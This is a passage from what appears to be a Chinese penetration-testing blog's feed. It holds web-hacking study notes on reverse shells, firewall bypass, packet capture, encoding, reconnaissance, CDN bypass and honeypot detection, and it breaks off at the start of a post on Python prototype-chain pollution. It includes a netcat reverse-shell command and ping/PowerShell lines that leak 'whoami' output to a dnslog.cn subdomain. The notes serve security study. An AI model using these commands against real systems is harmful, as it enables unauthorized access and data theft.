地址访问到受害主机。所以此时需要在控制主机上监听一个端口，让受害机主动连接控制主机，从而实现对控制主机的控制。</p><p>由于反向连接是被攻击者主动连接攻击者，所以不受防火墙策略的限制</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">本地机器上命令：nc -lvp Target_port #反向shell是在本地进行监听</span><br><span class="line">内网机器上命令：nc Target_ip Target_port -e /bin/bash #让目标机器连接本地</span><br></pre></td></tr></table></figure></div><p>如果目标主机是 windows（不自带 nc），要在目标主机安装 nc 反弹 shell，在服务器装好 nc.exe，通过上文的文件下载安装到目标主机，然后反弹 shell</p><h3 id="防火墙绕过"><a class="markdownIt-Anchor" href="#防火墙绕过">#</a> 防火墙绕过</h3><h4 id="管道符"><a class="markdownIt-Anchor" href="#管道符">#</a> 管道符</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">    ;         命令1;命令2           多个命令顺序执行，命令之间无任何逻辑关系。（linux特有）</span><br><span class="line">   &amp;&amp;         命令1&amp;&amp;命令2          逻辑与：当命令1正确执行后，命令2才会正确执行，否则命令2不会执行</span><br><span class="line">   ||         命令1||命令2          逻辑或：当命令1不正确执行后，命令2才会正确执行，否则命令2不会执行</span><br><span class="line">   |  命令1|命令2    这里，命令1 正确执行的输出会被直接传递给 命令2 作为输入</span><br><span class="line">&amp;  命令1&amp;命令2   命令1后台执行，同时执行命令2</span><br></pre></td></tr></table></figure></div><p>linux 中存在 <code>''</code>  符号，直接执行’' 内的命令</p><h4 id="目标主机防火墙"><a class="markdownIt-Anchor" href="#目标主机防火墙">#</a> 目标主机防火墙</h4><p>一般出站宽松入站严格</p><h5 id="端口的入站出站限制"><a class="markdownIt-Anchor" href="#端口的入站出站限制">#</a> 端口的入站出站限制</h5><p><strong>入站限制</strong>：使用反向链接</p><p><strong>出站限制</strong>：使用正向链接</p><h5 id="关于数据回显"><a class="markdownIt-Anchor" href="#关于数据回显">#</a> 关于数据回显</h5><p>如果已知存在漏洞但没有回显，可以尝试：</p><ul><li>反弹 shell</li><li>带外查询（ <code>ping 'whoami'.***.dnslog.cn</code>    ；然后在<a class="link" href="http://dnslog.cn/"> DNSLog Platform <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 网站上查询日志）</li></ul><p>windows 无’’，可以用 powershell，如下：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408060129355.png" alt="image-20240803232851943"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408032336431.png" alt="image-20240803233630271"></p><p><code>powershell $x=whoami;$x=$x.Replace(\','xxx”);$y='.f4an93.dnslog.cn';$z=$x+$y;ping $z</code></p><h2 id="抓包技术"><a class="markdownIt-Anchor" href="#抓包技术">#</a> 抓包技术</h2><h3 id="https"><a class="markdownIt-Anchor" href="#https">#</a> HTTP/S</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408032353470.jpg" alt="c826e6966d278c039f0801a30d8dbf3"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408040055202.png" alt="image-20240804005553093"></p><h3 id="非web协议"><a class="markdownIt-Anchor" href="#非web协议">#</a> 非 Web 协议</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408041139668.jpg" alt="09e6fa5034a16ea80c9eba574f7d9b3"></p><p><a class="link" href="https://blog.csdn.net/weixin_48613011/article/details/137351844">抓包技术 &amp; 全局协议 &amp; 封包监听 &amp; 网卡模式 &amp; APP &amp; 小程序 &amp; PC 应用_封包监听工具 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="数据传输"><a class="markdownIt-Anchor" href="#数据传输">#</a> 数据传输</h2><h3 id="编码和加密"><a class="markdownIt-Anchor" href="#编码和加密">#</a> 编码和加密</h3><p><strong>编码</strong></p><p>安全测试漏洞的时候，通常会进行数据的修改增加进行测试，目标服务器可能会对数据进行解码再解析，所以测试时需要对 payload 先编码</p><p><strong>算法加密</strong></p><p>如果需要爆破的参数通过 md5 等算法进行了加密，需要对字典进行加密之后爆破</p><p>Windows -&gt; NTLM</p><p><strong>单向散列加密</strong>：</p><p><code>MD5、SHA、MAC、CRC</code></p><p>方便存储，损耗低；但是只需要密文就有爆破解密的可能性</p><p>大部分解密都是碰撞爆破，弱密码容易解密</p><p><strong>对称加密</strong>：</p><p><code>AES、DES、RC4</code></p><p>算法公开、加密速度快、效率高</p><p>需要双方同步好加密模式、key、偏移量才可解密，这种方式通过算法逆向解密</p><p><strong>非对称加密</strong>：</p><p><code>RSA、PKCS</code></p><p>安全性更好，有公钥和密钥</p><ul class="task-list"><li class="task-list-item"><input type="checkbox" id="cbx_0" disabled="true"><label for="cbx_0"> <em><strong>有的网站采用前端 js 对信息进行加密，测试时可以在控制台尝试寻找加密方式</strong></em></label></li></ul><h3 id="传输格式"><a class="markdownIt-Anchor" href="#传输格式">#</a> 传输格式</h3><p><strong>常规</strong>：x=123</p><p><strong>JSON</strong>：</p><div class="highlight-container" data-rel="Json"><figure class="iseeu highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line"><span class="attr">&quot;x&quot;</span><span class="punctuation">:</span><span class="number">123</span>;</span><br><span class="line"><span class="attr">&quot;y&quot;</span><span class="punctuation">:</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line"><span class="attr">&quot;aa&quot;</span><span class="punctuation">:</span><span class="string">&quot;mmmnnn&quot;</span>;</span><br><span class="line"><span class="attr">&quot;bb&quot;</span><span class="punctuation">:</span><span class="number">567</span>;</span><br><span class="line"><span class="punctuation">&#125;</span>;</span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure></div><p><strong>XML</strong>：</p><h3 id="代码混淆"><a class="markdownIt-Anchor" href="#代码混淆">#</a> 代码混淆</h3><p>之前写过 js 混淆：<a class="link" href="https://fc04db.github.io/2024/05/23/adout-JS/#js%E6%B7%B7%E6%B7%86%E4%B8%8E%E5%8F%8D%E6%B7%B7%E6%B7%86">adout JS - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="http"><a class="markdownIt-Anchor" href="#http">#</a> HTTP</h3><h4 id="header"><a class="markdownIt-Anchor" href="#header">#</a> header</h4><p><a class="link" href="https://www.runoob.com/http/http-header-fields.html">HTTP 响应头信息 | 菜鸟教程 (runoob.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><table><thead><tr><th style="text-align:left">响应头信息（英文）</th><th style="text-align:left">响应头信息（中文）</th><th style="text-align:left">描述</th></tr></thead><tbody><tr><td style="text-align:left">Date</td><td style="text-align:left">日期</td><td style="text-align:left">响应生成的日期和时间。例如：Wed, 18 Apr 2024 12:00:00 GMT</td></tr><tr><td style="text-align:left">Server</td><td style="text-align:left">服务器</td><td style="text-align:left">服务器软件的名称和版本。例如：Apache/2.4.1 (Unix)</td></tr><tr><td style="text-align:left">Content-Type</td><td style="text-align:left">内容类型</td><td style="text-align:left">响应体的媒体类型（MIME 类型），如 <code>text/html; charset=UTF-8</code> ,  <code>application/json</code>  等。</td></tr><tr><td style="text-align:left">Content-Length</td><td style="text-align:left">内容长度</td><td style="text-align:left">响应体的大小，单位是字节。例如：3145</td></tr><tr><td style="text-align:left">Content-Encoding</td><td style="text-align:left">内容编码</td><td style="text-align:left">响应体的压缩编码，如  <code>gzip</code> ,  <code>deflate</code>  等。</td></tr><tr><td style="text-align:left">Content-Language</td><td style="text-align:left">内容语言</td><td style="text-align:left">响应体的语言。例如：zh-CN</td></tr><tr><td style="text-align:left">Content-Location</td><td style="text-align:left">内容位置</td><td style="text-align:left">响应体的 URI。例如：/index.html</td></tr><tr><td style="text-align:left">Content-Range</td><td style="text-align:left">内容范围</td><td style="text-align:left">响应体的字节范围，用于分块传输。例如：bytes 0-999/8000</td></tr><tr><td style="text-align:left">Cache-Control</td><td style="text-align:left">缓存控制</td><td style="text-align:left">控制响应的缓存行为，如 no-cache 表示必须重新请求。</td></tr><tr><td style="text-align:left">Connection</td><td style="text-align:left">连接</td><td style="text-align:left">管理连接的选项，如 <code>keep-alive</code>  或 <code>close</code> ，keep-alive 表示连接不会在传输后关闭。。</td></tr><tr><td style="text-align:left">Set-Cookie</td><td style="text-align:left">设置 Cookie</td><td style="text-align:left">设置客户端的 cookie。例如：sessionId=abc123; Path=/; Secure</td></tr><tr><td style="text-align:left">Expires</td><td style="text-align:left">过期时间</td><td style="text-align:left">响应体的过期日期和时间。例如：Thu, 18 Apr 2024 12:00:00 GMT</td></tr><tr><td style="text-align:left">Last-Modified</td><td style="text-align:left">最后修改时间</td><td style="text-align:left">资源最后被修改的日期和时间。例如：Wed, 18 Apr 2024 11:00:00 GMT</td></tr><tr><td style="text-align:left">ETag</td><td style="text-align:left">实体标签</td><td style="text-align:left">资源的特定版本的标识符。例如：“33a64df551425fcc55e6”</td></tr><tr><td style="text-align:left">Location</td><td style="text-align:left">位置</td><td style="text-align:left">用于重定向的 URI。例如：/newresource</td></tr><tr><td style="text-align:left">Pragma</td><td style="text-align:left">实现特定的指令</td><td style="text-align:left">包含实现特定的指令，如  <code>no-cache</code> 。</td></tr><tr><td style="text-align:left">WWW-Authenticate</td><td style="text-align:left">认证信息</td><td style="text-align:left">认证信息，通常用于 HTTP 认证。例如：Basic realm=“Access to the site”</td></tr><tr><td style="text-align:left">Accept-Ranges</td><td style="text-align:left">接受范围</td><td style="text-align:left">指定可接受的请求范围类型。例如：bytes</td></tr><tr><td style="text-align:left">Age</td><td style="text-align:left">经过时间</td><td style="text-align:left">响应生成后经过的秒数，从原始服务器生成到代理服务器。例如：24</td></tr><tr><td style="text-align:left">Allow</td><td style="text-align:left">允许方法</td><td style="text-align:left">列出资源允许的 HTTP 方法 。例如：GET, POST，HEAD 等</td></tr><tr><td style="text-align:left">Vary</td><td style="text-align:left">变化</td><td style="text-align:left">告诉下游代理如何使用响应头信息来确定响应是否可以从缓存中获取。例如：Accept</td></tr><tr><td style="text-align:left">Strict-Transport-Security</td><td style="text-align:left">严格传输安全</td><td style="text-align:left">指示浏览器仅通过 HTTPS 与服务器通信。例如：max-age=31536000; includeSubDomains</td></tr><tr><td style="text-align:left">X-Frame-Options</td><td style="text-align:left">框架选项</td><td style="text-align:left">控制页面是否允许在框架中显示，防止点击劫持攻击。例如：SAMEORIGIN</td></tr><tr><td style="text-align:left">X-Content-Type-Options</td><td style="text-align:left">内容类型选项</td><td style="text-align:left">指示浏览器不要尝试猜测资源的 MIME 类型。例如：nosniff</td></tr><tr><td style="text-align:left">X-XSS-Protection</td><td style="text-align:left">XSS 保护</td><td style="text-align:left">控制浏览器的 XSS 过滤和阻断。例如：1; mode=block</td></tr><tr><td style="text-align:left">Public-Key-Pins</td><td style="text-align:left">公钥固定</td><td style="text-align:left">HTTP 头信息，用于 HTTP 公共密钥固定（HPKP），一种安全机制，用于防止中间人攻击。例如：pin-sha256=“base64+primarykey”; pin-sha256=“base64+backupkey”; max-age=expireTime</td></tr></tbody></table><h4 id="响应码"><a class="markdownIt-Anchor" href="#响应码">#</a> 响应码</h4><p><a class="link" href="https://www.runoob.com/http/http-status-codes.html">HTTP 状态码 | 菜鸟教程 (runoob.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><table><thead><tr><th style="text-align:center">分类</th><th style="text-align:left">分类描述</th></tr></thead><tbody><tr><td style="text-align:center">1**</td><td style="text-align:left">信息，服务器收到请求，需要请求者继续执行操作</td></tr><tr><td style="text-align:center">2**</td><td style="text-align:left">成功，操作被成功接收并处理</td></tr><tr><td style="text-align:center">3**</td><td style="text-align:left">重定向，需要进一步的操作以完成请求</td></tr><tr><td style="text-align:center">4**</td><td style="text-align:left">客户端错误，请求包含语法错误或无法完成请求</td></tr><tr><td style="text-align:center">5**</td><td style="text-align:left">服务器错误，服务器在处理请求的过程中发生了错误</td></tr></tbody><tbody><tr><td style="text-align:center">状态码</td><td style="text-align:left">状态码英文名    称</td><td>中文描述</td><td></td></tr><tr><td style="text-align:center">:----:</td><td style="text-align:left">:-----------------</td><td>:-----------------------------------------------------------</td><td>----</td></tr><tr><td style="text-align:center">200</td><td style="text-align:left">OK</td><td>请求成功。一般用于 GET 与 POST 请求</td><td></td></tr><tr><td style="text-align:center"></td><td style="text-align:left"></td><td></td><td></td></tr><tr><td style="text-align:center">300</td><td style="text-align:left">Multiple Choices</td><td>多种选择。请求的资源可包括多个位置，相应可返回一个资源特征与地址的列表用于用户终端（例如：浏览器）选择</td><td></td></tr><tr><td style="text-align:center">301</td><td style="text-align:left">Moved Permanently</td><td>永久移动。请求的资源已被永久的移动到新 URI，返回信息会包括新的 URI，浏览器会自动定向到新 URI。今后任何新的请求都应使用新的 URI 代替</td><td></td></tr><tr><td style="text-align:center">302</td><td style="text-align:left">Found</td><td>临时移动。与 301 类似。但资源只是临时被移动。客户端应继续使用原有 URI</td><td></td></tr><tr><td style="text-align:center">303</td><td style="text-align:left">See Other</td><td>查看其它地址。与 301 类似。使用 GET 和 POST 请求查看</td><td></td></tr><tr><td style="text-align:center"></td><td style="text-align:left"></td><td></td><td></td></tr><tr><td style="text-align:center">400</td><td style="text-align:left">Bad Request</td><td>客户端请求的语法错误，服务器无法理解</td><td></td></tr><tr><td style="text-align:center">401</td><td style="text-align:left">Unauthorized</td><td>请求要求用户的身份认证</td><td></td></tr></tbody></table><h2 id="信息打点"><a class="markdownIt-Anchor" href="#信息打点">#</a> 信息打点</h2><h3 id="公司信息"><a class="markdownIt-Anchor" href="#公司信息">#</a> 公司信息</h3><p>首先拿到目标，需要对目标企业的股权结构等进行收集，明确哪些算是目标，例如收集全资 / 控股子公司、孙公司等等。</p><ul><li>企查查</li><li>爱企查</li><li>天眼查</li></ul><p>备案信息、企业产权、注册域名、反查解析</p><p>后面信息收集之前有写过：<a class="link" href="https://fc04db.github.io/2024/07/08/Information-Gathering/">Information Gathering - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="源码-2"><a class="markdownIt-Anchor" href="#源码-2">#</a> 源码</h3><p>尝试通过网站指纹<a class="link" href="http://finger.tidesec.com/"> TideFinger 潮汐指纹  <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>寻找例如 CMS 等框架进而尝试找到源码</p><p>还可以考虑源码泄露，指纹识别不出内网的 CMS，可以用工具 GotoScan</p><p><strong>常见的 Web 源码泄露：</strong></p><ul><li>git 源码泄露（githack）</li><li>svn 源码泄露（svnExploit）</li><li>DS_Store 文件泄露（ds_store_exp）</li><li>网站备份压缩文件泄露（御剑、<a class="link" href="http://disearch.py">disearch.py <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>）</li><li>Web-INF/Web.xml 泄露</li><li>CVS 泄露</li><li>hg 源码泄漏</li><li>Bazaar/bzr 泄露</li><li>SWP 文件泄露</li></ul><p>可能还会在 github、gitee 等托管平台找到</p><p>利用 github 搜索引擎搜索 js 文件名，脚本文件名</p><h3 id="js打点"><a class="markdownIt-Anchor" href="#js打点">#</a> JS 打点</h3><p>JS 一般在前端可以看到，可以获取更多 URL、JS 敏感信息、代码逻辑（加密算法、APIkey 配置、验证逻辑），一般相当于白盒测试</p><p><strong>JS 框架</strong>：Vue、NodeJS、JQuery、Angular</p><h4 id="js的安全问题"><a class="markdownIt-Anchor" href="#js的安全问题">#</a> JS 的安全问题</h4><ul><li>源码泄露</li><li>未授权访问</li><li>敏感 key 泄露</li><li>API 接口安全</li></ul><h4 id="一些工具"><a class="markdownIt-Anchor" href="#一些工具">#</a> 一些工具</h4><ul><li>JSFinder</li><li>URLFInder</li><li>JSINFO-SCAN</li><li>FindSomething</li><li>其他 FUZZ 工具</li><li>PackerFuzzer（针对 webpack 打包器）</li></ul><h3 id="端口扫描"><a class="markdownIt-Anchor" href="#端口扫描">#</a> 端口扫描</h3><h4 id="中间件"><a class="markdownIt-Anchor" href="#中间件">#</a> 中间件</h4><h5 id="web服务器f12大法"><a class="markdownIt-Anchor" href="#web服务器f12大法">#</a> web 服务器（F12 大法）</h5><p>Apache、Nginx、IIS、Lighttpd</p><h5 id="应用服务器端口扫描"><a class="markdownIt-Anchor" href="#应用服务器端口扫描">#</a> 应用服务器（端口扫描）</h5><p>Tomcat、Jboss、Weblogic、Websphere</p><p>工具：Nmap</p><p><code>naabu -list lists.txt -p - -exclude-ports 80,443,21,22,25 -rate 20000 -c 500 -retries 2 -warm-up time 1 -silent -nmap-cli 'nmap -sV -oX scan.xml'</code></p><h4 id="应用服务信息"><a class="markdownIt-Anchor" href="#应用服务信息">#</a> 应用服务信息</h4><p><strong>FTP</strong>：tcp20、21，匿名的上传下载，爆破，嗅探，win 提权，远程执行，后门</p><p><strong>SSH</strong>：tcp22，爆破，v1 版本中间人，ssh 隧道，内网代理转发，文件传输</p><p>RDP、SMB、SMTP、LDAP、Rsync</p><p><strong>防火墙</strong>：可能会使开放的端口无法通信（Filtered）</p><p><strong>内网环境</strong>：Web 开放数据库端口，网站也可以正常打开，但是扫描时发现端口没有开放（排除防火墙问题），只有能直接与内网通信才能扫到所有的端口</p><h3 id="waf识别"><a class="markdownIt-Anchor" href="#waf识别">#</a> WAF 识别</h3><p>** 工具识别：**wafw00f、identYwaf</p><h3 id="蜜罐识别"><a class="markdownIt-Anchor" href="#蜜罐识别">#</a> 蜜罐识别</h3><p>蜜罐是对攻击者的欺骗技术，用以监视、检测、分析和溯源攻击行为，其没有业务上的用途，所有流入 / 流出蜜罐的流量都预示着扫描或者攻击行为，因此可以比较好的聚焦于攻击流量。</p><p>蜜罐可以实现对攻击者的主动诱捕，能够详细地记录攻击者攻击过程中的许多痕迹，可以收集到大量有价值的数据，如病毒或蠕虫的源码、黑客的操作等，从而便于提供丰富的溯源数据。</p><p><strong>按交互方式分类</strong>，蜜罐可以分为三类，低交互式蜜罐，中交互式蜜罐，高交互式蜜罐。</p><blockquote><p>低交互式蜜罐 ：通常是指与操作系统交互程度较低的蜜罐系统，仅开放一些简单的服务或端口，用来检测扫描和连接，这种容易被识别。</p><p>中交互式蜜罐 ：介于低交互式和高交互式之间，能够模拟操作系统更多的服务，让攻击者看起来更像一个真实的业务，从而对它发动攻击，这样蜜罐就能获取到更多有价值的信息。</p><p>高交互式 ：指的是与操作系统交互很高的蜜罐，它会提供一个更真实的环境，这样更容易吸引入侵者，有利于掌握新的攻击手法和类型，但同样也会存在隐患，会对真实网络造成攻击。</p></blockquote><p><strong>按模拟目标分类</strong>，数据库蜜罐，工控蜜罐，Web 蜜罐，物联网蜜罐</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408181321574.png" alt="img"></p><h4 id="识别"><a class="markdownIt-Anchor" href="#识别">#</a> 识别</h4><h5 id="项目识别"><a class="markdownIt-Anchor" href="#项目识别">#</a> 项目识别</h5><p>Heimdallr 插件</p><p>quake_rs</p><h5 id="人工识别"><a class="markdownIt-Anchor" href="#人工识别">#</a> 人工识别</h5><p>1、开放端口巨多且有规律</p><p>2、Web 访问协议就下载</p><p>3、指纹分析</p><h3 id="cdn绕过"><a class="markdownIt-Anchor" href="#cdn绕过">#</a> CDN 绕过</h3><p><a class="link" href="https://mp.weixin.qq.com/s/zxEH-HMqKukmq7qXfrdnQQ">干货 | 渗透测试中最全的 CDN 绕过总结 (qq.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>配置 1 --&gt; 加速域名</p><p>​子域名获取真实 ip，如果配置域名为 <code>*.example.com</code>  这种方法就会失效</p><p>配置 2 --&gt; 加速区域</p><p>​国外访问获取真实 ip，基于加速区域为 “仅中国内陆”</p><p>配置 3 --&gt; 加速类型（资源）</p><h5 id="判断网站是否使用了cdn"><a class="markdownIt-Anchor" href="#判断网站是否使用了cdn">#</a> <strong>判断网站是否使用了 CDN</strong></h5><ul><li>反查域名 IP，看结果是否有大量不相关的域名存在</li><li>观察请求响应的返回数据的头部，是否有 CDN 服务商标识</li><li>使用超级 ping，比如：<a class="link" href="https://17ce.com/">网站测速 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>，通过不同定位地点的 ping 测试，看返回的 IP 是否不同</li><li>判断 IP 是否在常见 CDN 服务商的服务器 IP 段上</li><li>若 asp 或者 <a class="link" href="http://asp.net">asp.net <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 网站返回头的 server 不是 IIS、而是 Nginx，则多半使用了 nginx 反向代理到 CDN</li><li>利用 Nslookup 查询域名，看是否返回多个应答 IP</li></ul><p>查找 CDN 厂商：<a class="link" href="https://tools.ipip.net/cdn.php">全球 CDN 服务商查询 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>IP 库：<a class="link" href="https://cz88.net/geo-public">纯真网络 (cz88.net) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h5 id="如何绕过-cdn-朔源网站真实-ip"><a class="markdownIt-Anchor" href="#如何绕过-cdn-朔源网站真实-ip">#</a> <strong>如何绕过 CDN 朔源网站真实 IP</strong></h5><p><strong>一、通过查询 DNS 记录 / IP 历史记录 / 子域名 等数据记录</strong></p><p><strong>二、通过 Email 邮局</strong></p><p><strong>三、通过 SSL 证书</strong></p><p><strong>四、通过海外 DNS 查询</strong></p><p><strong>五、通过敏感文件泄露</strong></p><p><strong>六、通过变更的域名</strong></p><p><strong>… …</strong></p><h3 id="web框架"><a class="markdownIt-Anchor" href="#web框架">#</a> Web 框架</h3><p>1、最简单最入门的开发模型 (功能代码全部手写)</p><p>最容易出现漏洞，程序员水平不一，没有第三方或团队的检测，单纯的自己写</p><p>2、结合开发框架的开发模型 (以框架为核心实现功能)</p><p>第三方或团队的开发的封装代码框架，一般内置的过滤机制 (框架漏洞)</p><p>3、结合开发框架外加组件模型 (以框架为核心，组件为辅实现功能)</p><p>第三方或团队的开发的封装代码框架，一般内置的过滤机制 (框架和组件漏洞)</p><p>相关框架漏洞（靶场）：<a class="link" href="https://vulfocus.cn/#/dashboard">首页 - vulfocus <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>指纹识别 — 识别到（CMS，框架，组件）— 信息搜集相关的漏洞</p><h3 id="自动化"><a class="markdownIt-Anchor" href="#自动化">#</a> 自动化</h3><p><a class="link" href="https://github.com/guchangan1/All-Defense-Tool">本项目集成了全网优秀的攻防武器工具项目，包含自动化利用，子域名、目录扫描、端口扫描等信息收集工具，各大中间件、cms、OA 漏洞利用工具，爆破工具、内网横向、免杀、社工钓鱼以及应急响应、甲方安全资料等其他安全攻防资料。 (github.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><strong>企业信息</strong>：<a class="link" href="https://github.com/wgpsec/ENScan_GO">wgpsec/ENScan_GO <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><strong>网络空间</strong>：<a class="link" href="https://github.com/Kento-Sec/AsamF?tab=readme-ov-file">Kento-Sec/AsamF <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>（主要是导出免积分）</p><p>灯塔（已闭源）、nemo、rengine</p><h3 id="其他资产"><a class="markdownIt-Anchor" href="#其他资产">#</a> 其他资产</h3><h4 id="微信公众号"><a class="markdownIt-Anchor" href="#微信公众号">#</a> 微信公众号</h4><p>可以在企查查、爱企查、天眼查尝试搜索</p><p><a class="link" href="https://weixin.sogou.com/">搜狗微信搜索 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>，有无第三方服务（邮箱，跳转）</p><h4 id="github监控"><a class="markdownIt-Anchor" href="#github监控">#</a> GItHub 监控</h4><p>可能存在网站源码开源项目，可能会有（人员、数据库等）敏感信息</p><h4 id="网盘"><a class="markdownIt-Anchor" href="#网盘">#</a> 网盘</h4><p>跟 GitHub 一个道理，都是工作人员可能将敏感信息上传到网盘（GitHub），但是除了数据库、源码之外网盘中可能还会有招标信息、内部网络架构、业务产品。<a class="link" href="https://hunhepan.com/">混合盘 - 可搜索全网网盘 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;web应用&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#web应用&quot;&gt;#&lt;/a&gt; Web 应用&lt;/h2&gt;
&lt;p&gt;网站搭建四大件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;操作系统&lt;/li&gt;
&lt;li&gt;中间件&lt;/li&gt;
&lt;li&gt;数据库&lt;/li&gt;
&lt;li</summary>
      
    
    
    
    <category term="Web Penetration" scheme="http://example.com/categories/Web-Penetration/"/>
    
    
  </entry>
  
  <entry>
    <title>Python原型链污染&amp;sanic</title>
    <link href="http://example.com/2024/07/25/Python%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93&amp;sanic/"/>
    <id>http://example.com/2024/07/25/Python%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93&amp;sanic/</id>
    <published>2024-07-25T04:54:41.000Z</published>
    <updated>2024-08-28T06:50:59.348Z</updated>
    
    <content type="html"><![CDATA[<h2 id="python原型链污染"><a class="markdownIt-Anchor" href="#python原型链污染">#</a> Python 原型链污染</h2><p>之前有写过 JS 原型链污染<a class="link" href="https://fc04db.github.io/2024/05/23/adout-JS/#js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93"> adout JS - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>和 JavaScript 的原型链污染差不多，都是需要 merge 函数来<strong>修改父类的属性</strong></p><h3 id="原型链"><a class="markdownIt-Anchor" href="#原型链">#</a> 原型链</h3><p>在 Python 中每个对象都有一个原型，原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时，会先在自身查找，如果找不到就会去<strong>原型链上的上级对象</strong>中查找，原型链污染攻击的思路是<strong>通过修改对象原型链中的属性</strong>，使得程序在访问属性或方法时得到不符合预期的结果。</p><h3 id="merge函数"><a class="markdownIt-Anchor" href="#merge函数">#</a> merge 函数</h3><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">merge</span>(<span class="params">src, dst</span>):</span><br><span class="line">    <span class="keyword">for</span> k, v <span class="keyword">in</span> src.items():  <span class="comment"># 遍历 src 字典中的所有键值对</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">hasattr</span>(dst, <span class="string">&#x27;__getitem__&#x27;</span>):  <span class="comment"># 检查 dst 是否有 &#x27;__getitem__&#x27; 属性，即 dst 是否支持键值访问（如字典）</span></span><br><span class="line">            <span class="keyword">if</span> dst.get(k) <span class="keyword">and</span> <span class="built_in">type</span>(v) == <span class="built_in">dict</span>:  <span class="comment"># 如果 dst 中存在键 k 且 v 是一个字典</span></span><br><span class="line">                merge(v, dst.get(k))  <span class="comment"># 递归调用 merge 函数，将嵌套字典合并</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                dst[k] = v  <span class="comment"># 否则，将 v 赋值给 dst 中的键 k</span></span><br><span class="line">        <span class="keyword">elif</span> <span class="built_in">hasattr</span>(dst, k) <span class="keyword">and</span> <span class="built_in">type</span>(v) == <span class="built_in">dict</span>:  <span class="comment"># 如果 dst 不是字典但有属性 k 且 v 是一个字典</span></span><br><span class="line">            merge(v, <span class="built_in">getattr</span>(dst, k))  <span class="comment"># 递归调用 merge，将嵌套字典合并到 dst 对象的属性 k 中</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">setattr</span>(dst, k, v)  <span class="comment"># 否则，将属性 k 设置为 v</span></span><br></pre></td></tr></table></figure></div><p>对 src 中的键值对进行了遍历，然后检查 dst 中是否含有 <code>__getitem__</code> 属性，以此来判断 dst 是否为字典。如果存在的话，检测 dst 中是否存在属性 k 且 value 是否是一个字典，如果是的话，就继续嵌套 merge 对内部的字典再进行遍历，将对应的每个键值对都取出来。如果不存在的话就<strong>将 src 中的 value 的值赋值给 dst 对应的 key 的值。</strong></p><p>如果 dst 不含有 getitem 属性的话，那就说明 dst 不是一个字典，就直接检测 dst 中是否存在 k 的属性，并检测该属性值是否为字典，如果是的话就再通过 merge 函数进行遍历，将 k 作为 dst，v 作为 src，继续取出 v 里面的键值对进行遍历。</p><p>就是将 src 中正常键值对（value 不是字典）的 value 赋给 dst 中正常键值对的 key 从而污染 dst（目标属性）</p><h3 id="污染过程"><a class="markdownIt-Anchor" href="#污染过程">#</a> 污染过程</h3><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 